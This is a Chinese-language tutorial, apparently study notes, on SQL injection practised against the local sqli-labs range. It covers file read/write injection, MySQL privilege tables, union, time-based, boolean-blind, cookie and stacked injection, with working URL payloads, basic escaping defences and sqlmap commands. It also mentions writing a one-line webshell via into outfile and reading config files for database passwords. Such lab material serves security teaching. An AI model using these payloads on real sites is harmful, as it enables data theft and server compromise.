SQL注入之文件读写

文件读写注入的原理

就是利用文件的读写权限进行注入,它可以写入一句话木马,也可以读取系统文件的敏感信息。

文件读写注入的条件

高版本的MYSQL添加了一个新的特性secure_file_priv,该选项限制了mysql导出文件的权限

secure_file_priv选项

linux
cat  etc/conf

win
www/mysql / my.ini

show global variables like ‘%secure%’ 查看mysql全局变量的配置

1、读写文件需要 secure_file_priv权限

secure_file_priv=

代表对文件读写没有限制

secure_file_priv=NULL

代表不能进行文件读写

secure_file_priv=d:/phpstudy/mysql/data

代表只能对该路径下文件进行读写

2、知道网站绝对路径

Windows常见:

image.png

Linux常见:

image.png

路径获取常见方式:

报错显示,遗留文件,漏洞报错,平台配置文件等

读取文件

使用函数:load_file()

后面的路径可以是单引号,0x,char转换的字符。

注意:路径中斜杠是/不是\。

一般可以与union中做为一个字段使用,查看config.php(即mysql的密码),apache配置…

写入文件

使用函数:Into Outfile(能写入多行,按格式输出)和 into Dumpfile(只能写入一行且没有输出格式)

outfile 后面不能接0x开头或者char转换以后的路径,只能是单引号路径

SQL注入之基础防御

魔术引号

魔术引号(Magic Quote)是一个自动将进入 PHP 脚本的数据进行转义的过程。
最好在编码时不要转义而在运行时根据需要而转义。

魔术引号:
在php.ini文件内找到

magic_quotes_gpc = On 开启

将其改为

magic_quotes_gpc = Off 关闭

内置函数

做数据类型的过滤

is_int()等

addslashes()

mysql_real_escape_string()

mysql_escape_string()

自定义关键字

str_replace()

其他安全防护软件 WAF ……

SQL注入之高权限注入 上

在数据库中区分有数据库系统用户与数据库普通用户,二者的划分主要体现在对一些高级函数与资源表的访问权限上。直白一些就是高权限系统用户拥有整个数据库的操作权限,而普通用户只拥有部分已配置的权限。

网站在创建的时候会调用数据库链接,会区分系统用户链接与普通用户链接;当多个网站存在一个数据库的时候,root就拥有最高权限可以对多个网站进行管辖,普通用户仅拥有当前网站和配置的部分权限。所以当我们获取到普通用户权限时,我们只拥有单个数据库权限,甚至文件读写失败;取得高权限用户权限,不仅可以查看所有数据库,还可以对服务器文件进行读写操作。

多个网站共享mysql服务器

image.png

image.png

MySQL 权限介绍

mysql中存在4个控制权限的表,分别为user表,db表,tables_priv表,columns_priv表,
我当前的版本mysql 5.7.22 。

select * from user where user='root' and host='localhost'\G;

    mysql权限表的验证过程为:

    先从user表中的Host,User,Password这3个字段中判断连接的ip、用户名、密码是否存在,存在则通过验证。

    通过身份认证后,进行权限分配,
    按照user,db,tables_priv,columns_priv的顺序进行验证。
    即先检查全局权限表user,如果user中对应的权限为Y,则此用户对所有数据库的权限都为Y,
    将不再检查db, tables_priv,columns_priv;如果为N,则到db表中检查此用户对应的具体数据库,
    并得到db中为Y的权限;如果db中为N,则检查tables_priv中此数据库对应的具体表,取得表中的权限Y,以此类推。

 2.1 系统权限表
    User表:存放用户账户信息以及全局级别(所有数据库)权限,决定了来自哪些主机的哪些用户可以访问数据库实例,如果有全局权限则意味着对所有数据库都有此权限
    Db表:存放数据库级别的权限,决定了来自哪些主机的哪些用户可以访问此数据库
    Tables_priv表:存放表级别的权限,决定了来自哪些主机的哪些用户可以访问数据库的这个表
    Columns_priv表:存放列级别的权限,决定了来自哪些主机的哪些用户可以访问数据库表的这个字段
    Procs_priv表:存放存储过程和函数级别的权限


 2. MySQL 权限级别分为:
    全局性的管理权限: 作用于整个MySQL实例级别
    数据库级别的权限: 作用于某个指定的数据库上或者所有的数据库上
    数据库对象级别的权限:作用于指定的数据库对象上(表、视图等)或者所有的数据库对象

 3.查看mysql 有哪些用户:
    mysql> select user,host from mysql.user;

 4.查看用户对应权限
 select * from user where user='root' and host='localhost'\G;  #所有权限都是Y ,就是什么权限都有

 5.创建 mysql 用户
    有两种方式创建MySQL授权用户

    执行create user/grant命令(推荐方式)
    CREATE USER 'finley'@'localhost' IDENTIFIED BY 'some_pass';
    通过insert语句直接操作MySQL系统权限表

 6.只提供id查询权限
 grant select(id) on test.temp to test1@'localhost' identified by '123456';

 7.把普通用户变成管理员
    GRANT ALL PRIVILEGES ON *.* TO 'test1'@'localhost' WITH GRANT OPTION;

 8.删除用户
    drop user finley@'localhost';

SQL注入之高权限注入 下

1.注入流程与上节实例相同

查询所有数据库名称

image.png

http://localhost/sqli-labs-master/Less-2/?id=-2%20union%20select%201,group_concat(schema_name),3%20from%20information_schema.schemata

查询数据库对应的表名

image.png

http://localhost/sqli-labs-master/Less-2/?id=-2%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=0x74657374

查询表名对应的字段名

image.png

http://localhost/sqli-labs-master/Less-2/?id=-2%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_name=0x7431

查询数据

image.png

http://localhost/sqli-labs-master/Less-2/?id=-2%20union%20select%201,name,pass%20from%20test.t1

SQL注入之高权限注入

1.注入流程与上节实例相同

查询所有数据库名称

image.png

http://localhost/sqli-labs-master/Less-2/?id=-2%20union%20select%201,group_concat(schema_name),3%20from%20information_schema.schemata

查询数据库对应的表名

image.png

http://localhost/sqli-labs-master/Less-2/?id=-2%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=0x74657374

查询表名对应的字段名

image.png

http://localhost/sqli-labs-master/Less-2/?id=-2%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_name=0x7431

查询数据

image.png

http://localhost/sqli-labs-master/Less-2/?id=-2%20union%20select%201,name,pass%20from%20test.t1

基于时间的SQL盲注 - 延时注入

知识储备:

sleep(): Sleep 函数可以使计算机程序(进程,任务或线程)进入休眠

if(): i f 是 计算机编程语言一个关键字,分支结构的一种

mid(a,b,c): 从b开始,截取a字符串的c位

substr(a,b,c): 从b开始,截取字符串a的c长度

left(database(),1),database() : left(a,b)从左侧截取a的前b位

length(database())=8 : 判断长度

ord=ascii ascii(x)=100: 判断x的ascii值是否为100

在不使用sleep下查询数据所需要的时间:0.03秒

image.png

使用sleep可以使查询数据休眠指定时间

image.png

if(a,b,c):可以理解在java程序中的三目运算符,a条件成立 执行b, 条件不成立,执行c

image.png

使用if与sleep结合使用:image.png

达到延时数据显示,从而通过数据显示的时间判断数据对错!

使用靶场less-2来实现延时注入:

ocalhost/sqli-labs-master/Less-2/index.php?id=1%20and%20sleep(if(database()=%27test%27,0,5))

image.png

可以通过length()来判断数据库的长度

http://localhost/sqli-labs-master/Less-2/index.php?id=1%20and%20sleep(if(length(database())=8,8,0))

image.png

image.png

mid()使用:

image.png

substr()函数
Substr()和substring()函数实现的功能是一样的,均为截取字符串。

string substring(string, start, length)
string substr(string, start, length)
参数描述同mid()函数,第一个参数为要处理的字符串,start为开始位置,length为截取的长度。

substr()函数使用:

image.png

Left()函数

Left()得到字符串左部指定个数的字符

Left ( string, n ) string为要截取的字符串,n为长度。

image.png

通过以上函数可以来判断数据信息:

http://localhost/sqli-labs-master/Less-2/index.php?id=1%20and%20sleep(if(mid(database(),1,1)=%27t%27,0,5))

image.png

推荐使用ASCII码

1.防止引号 ‘ “ 转义

2.方便以后工具的使用

使用ascii函数()

image.png

结合场景使用:

select * from t1 where id=1 and if(ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=120,sleep(3),0);

select * from t1 where id=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=116,sleep(2),0);

SQL注入之布尔盲注

1.什么是布尔盲注?

Web的页面的仅仅会返回True和False。那么布尔盲注就是进行SQL注入之后然后根据页面返回的True或者是False来得到数据库中的相关信息。

返回False时:

image.png

返回True时:

image.png

2.如何进行布尔盲注?

注入流程:

image.png

3.靶场案例演示:

  1. 猜解数据库的名字

`http://127.0.0.1/sql/Less-5/index.php?id=1’ and ascii(mid(database(),1,1))>115–+ 非正常

http://127.0.0.1/sql/Less-5/index.php?id=1’ and ascii(mid(database(),1,1))>116–+ 非正常

http://127.0.0.1/sql/Less-5/index.php?id=1’ and ascii(mid(database(),1,1))=115–+ 正常
http://127.0.0.1/sql/less-5/index.php?id=1’ and ascii(mid(database(),2,1))=101–+ 正常
http://127.0.0.1/sql/less-5/index.php?id=1’ and ascii(mid(database(),3,1))=99–+ 正常`

如此就得到了

第一个字符的ASCII码为115解码出来为“s”

第二个字符的ASCII码为101解码出来为“e”

第二个字符的ASCII码为99解码出来为“c”

依次类推出数据库的名字为“security”

2.猜解表明名

http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=114--+
正确
http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),2,1))=101--+ 正确

注:select下的limit是第几个表。

  substr下的是截取的表内容。

当前库下(注入点连接的数据库)第一个表ASCII码为114 解码为r

当前库下(注入点连接的数据库)第一个表ASCII码为101 解码为e

当前库下(注入点连接的数据库)第一个表ASCII码为…. 解码为 referer

image.png

总结归纳:

盲注分为三种:

1.布尔型盲注 根据页面返回的真假来判断的即为布尔型盲注

2.时间型盲注 根据页面返回的时间来判断的即为时间型盲注

3.报错型盲注 :根据页面返回的对错来判断的即为报错型盲注

SQL注入之加解密注入

Base64是网络上最常见的用于传输8Bit字节码的编码方式之一,Base64就是一种基于64个可打印字符来表示二进制数据的方法。

Less-21关 Cookie加密注入:

image.png

通过Burpsuite抓包:

image.png

进行Base64解密:

image.png

SQL注入之堆叠注入

在SQL中,分号 ;是用来表示一条sql语句的结束,试想一下我们在 ; 结束一个sql语句后面继续构造下一个语句
会不会一起执行?因此这个想法也就造就了堆叠注入。

image.png

image.png

而union injection(联合注入)也是将两条语句合并在一起
两者之间有什么区别?区别就在于union执行语句类型有限,可以用来执行查询语句,而堆叠注入可以执行的是任意语句

Less-38

http://localhost/sqli-labs-master/Less-38/?id=1%27;insert%20into%20users(id,username,password)%20values%20(%2722%27,%27mc%27,%27hello%27)–+

image.png

SQL注入之sqlmap使用(get型注入)

一、SQLMap介绍

1、Sqlmap简介:

Sqlmap是一个开源的渗透测试工具,可以用来自动化的检测,利用SQL注入漏洞,获取数据库服务器的权限。它具有功能强大的检测引擎,针对各种不同类型数据库的渗透测试的功能选项,包括获取数据库中存储的数据,访问操作系统文件甚至可以通过外带数据连接的方式执行操作系统命令。

目前支持的数据库有MySQL、Oracle、PostgreSQL、Microsoft SQL Server、Microsoft Access等大多数据库。

2、Sqlmap支持的注入方式:

Sqlmap全面支持六种SQL注入技术:

  • 基于布尔类型的盲注:即可以根据返回页面判断条件真假的注入。
  • 基于时间的盲注:即不能根据页面返回的内容判断任何信息,要用条件语句查看时间延迟语句是否已执行(即页面返回时间是否增加)来判断。
  • 基于报错注入:即页面会返回错误信息,或者把注入的语句的结果直接返回到页面中。
  • 联合查询注入:在可以使用Union的情况下的注入。
  • 堆查询注入:可以同时执行多条语句时的注入。
  • 带外注入:构造SQL语句,这些语句在呈现给数据库时会触发数据库系统创建与攻击者控制的外部服务器的连接。以这种方式,攻击者可以收集数据或可能控制数据库的行为。

二、SQLMap使用:

1、判断是否存在注入:

假设目标注入点是 http://127.0.0.1/sqli-labs/Less-1/?id=1,判断其是否存在注入的命令如下:

sqlmap.py -u http://127.0.0.1/sqli-labs/Less-1/?id=1

当注入点后面的参数大于等于两个时,需要加双引号,如下所示。

sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-1/?id=1&uid=2"

运行完判断是否存在注入的语句后,爆出一大段代码,这里有三处需要选择的地方:第一处的意思为检测到数据库可能是MySQL,是否需要跳过检测其他数据库;第二处的意思是在“level1、risk1”的情况下,是否使用MySQL对应的所有Payload进行检测;第三处的意思是参数 id存在漏洞,是否要继续检测其他参数,一般默认按回车键即可。

常用命令:

-u:用于get提交方式,后面跟注入的url网址
--level
--risk

--dbs:获取所有数据库
--tales:获取所有数据表
--columns:获取所有字段
--dump:打印数据

-D:查询选择某个库
-T:查询选择某个表
-C:查询选择某个字段
level:执行测试的等级(1~5,默认为1),使用-level参数并且数值>=2的时候会检查cookie里面的参数,
    当>=3时检查user-agent和refereer
          risk:执行测试的风险(0~3,默认为1),默认是1会测试大部分的测试语句,2会增加基于事件的测试语句,
    3会增加or语句的sql注入